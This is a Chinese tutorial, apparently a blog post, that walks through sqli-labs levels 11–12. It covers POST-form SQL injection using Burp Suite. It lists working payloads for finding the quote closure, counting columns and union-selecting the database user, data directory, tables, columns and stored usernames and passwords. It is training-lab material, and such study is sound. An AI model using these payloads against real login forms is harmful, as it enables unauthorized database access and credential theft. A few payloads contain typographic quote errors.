sqli-labs靶场11-12关(基于POST联合查询)

1:GET
2:POST
3:Head
4:Put
5:Delete
6:Connect
7:Options
8:Trace
那么这里是典型的POST注入,那么注入点就是在POST数据中,而POST请求往往代表着用户向服务器提交了大量的数据请求,行为有包括文件上传,表单提交,按钮时间,这里分析是用户的登陆动作,那么肯定要对输入的用户名和密码带入数据库进行查询,接下来我们就把提交的用户名和密码直接替换成我们的测试语句;
1:这里我们可以使用burpsuite和hackbar都可以完成测试,这里我们选择使用Burpsuite
2:设置的好浏览器的代理,输入账号密码,点击提交在BP中进行拦截显示

表单注入需要掌握的知识点
需要用到burp sutie(抓包改包,暴力破解工具)
https://portswigger.net/burp //官网
在这里插入图片描述还需要用到的谷歌或者火狐做代理
在这里插入图片描述在这里插入图片描述咱们前10关是基于get型的注入
现在的是post注入
get是通过url传参
而post的传参是通过表单,咱们来看一下定义和区别

GET和POST是HTTP请求的两种基本方法

最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

GET在浏览器回退时是无害的,而POST会再次提交请求。 GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。 GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。 GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。 GET参数通过URL传递,POST放在Request
body中。

我们掌握了上述知识,我们就开始我们的闯关之旅

第十一关

(基于post的简单注入点)
源码分析
可以看到图通过post传参过来的username和password都是用单引号包裹着的
那么我们猜测是不是他的闭合字符为单引号
在这里插入图片描述那么我们通过浏览器的表单随便猜一下(抓个包试一下)
在这里插入图片描述看一下抓的包

抓的包如果想要修改包的话,需要发送到repeater模块
在这里插入图片描述我们看一下响应
在这里插入图片描述看到这个响应的内容咱们爆出的数据库的内容肯定会出现在这里
或者我们看一下
直观上的响应
也会给我们输入到屏幕上
在这里插入图片描述开搞
一、判断注入点
1.判断闭合字符

uname=admin'&passwd=admin&submit=Submit

加了一个单引号
发现报错了也没注释后面的语句
在这里插入图片描述咱们再判断一下其他的闭合字符

uname=admin"&passwd=admin&submit=Submit

咱们加了一个双引号,发现没报错,证明闭合字符不是双引号
在这里插入图片描述2.注释掉后面的语句

uname=admin' and 1=1 --+&passwd=admin&submit=Submit

and 1=1 --+恒为真时,执行成功
在这里插入图片描述uname=admin' and 1=2 --+&passwd=admin&submit=Submit
and 1=2 --+恒为假是,执行错误,发现注入点是基于单引号的字符型注入
在这里插入图片描述二、判断字段

uname=admin'  order by 3 --+&passwd=admin&submit=Submit

发现字段小于3
在这里插入图片描述uname=admin' order by 2 --+&passwd=admin&submit=Submit
发现字段数只有2
在这里插入图片描述三、构造payload
1.咱们基于第一关的查询语句构造联合查询语句

uname=admin’ &passwd= ' union select 1,2 --+&submit=Submit

由于他只在uname和passwd表单中输出到屏幕上内容,uname闭合了,所以让passwd输出那个查询哪个语句
在这里插入图片描述构造成功,开始干
2:我们来查询相关数据:当前用户/数据库名/MySQL程序安装目录

uname=admin'  &passwd=union select 1,group_concat(user(),@@datadir,database()) --+&submit=Submit

由于看哪个屏幕响应显示详细数据不清楚
在这里插入图片描述,我们就换成raw哪个
2.查询查出哪个库名下的所有的表名(security)

uname=admin'  &passwd=union select 1,group_concat( table_name) from information_schema.tables where table_schema=database() --+&submit=Submit

在这里插入图片描述3.爆表里面的字段

uname=admin'  &passwd=union select 1,group_concat( column_name) from information_schema.columns where table_name="users" --+&submit=Submit

在这里插入图片描述4.爆字段里面的数据

uname=admin'  &passwd=union select 1,group_concat( username,'/',password) from users --+&submit=Submit

在这里插入图片描述

第十二关

源码分析
由于传参时候进行了两层过滤,所以他的闭合字符是(“”)
在这里插入图片描述判断注入点:

uname=admin’ &passwd=a&submit=Submit

在这里插入图片描述我们先输入错误的密码,发现屏幕什么都没有发现
然后我们先判断一下闭合字符看看报错效果
单引号和之前的回显页面一样
双引号报错

uname=admin"&passwd=a&submit=Submit

在这里插入图片描述注释一下uname=admin" and 1=1 --+&passwd=a&submit=Submit(恒为真都报错)
在这里插入图片描述发现回显还是报错
证明闭合点可能是基于双引号的包裹
加一个括号试试

uname=admin") and 1=1 --+&passwd=a&submit=Submit

发现密码是错的,回显都正确了,是不是又有什么思想了(后台管理万能密钥)
在这里插入图片描述
构造payload

uname=admin &passwd=a") union select 1,2 #&submit=Submit

注意:如果passwd上有数据,就要把闭合字符放在第二个传参的变量上
在这里插入图片描述

总结

如果passwd没有数据,就把闭合字符放在uname上,就是第一个变量上
如果passwd上有数据,就要把闭合字符放在第二个传参的变量上

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值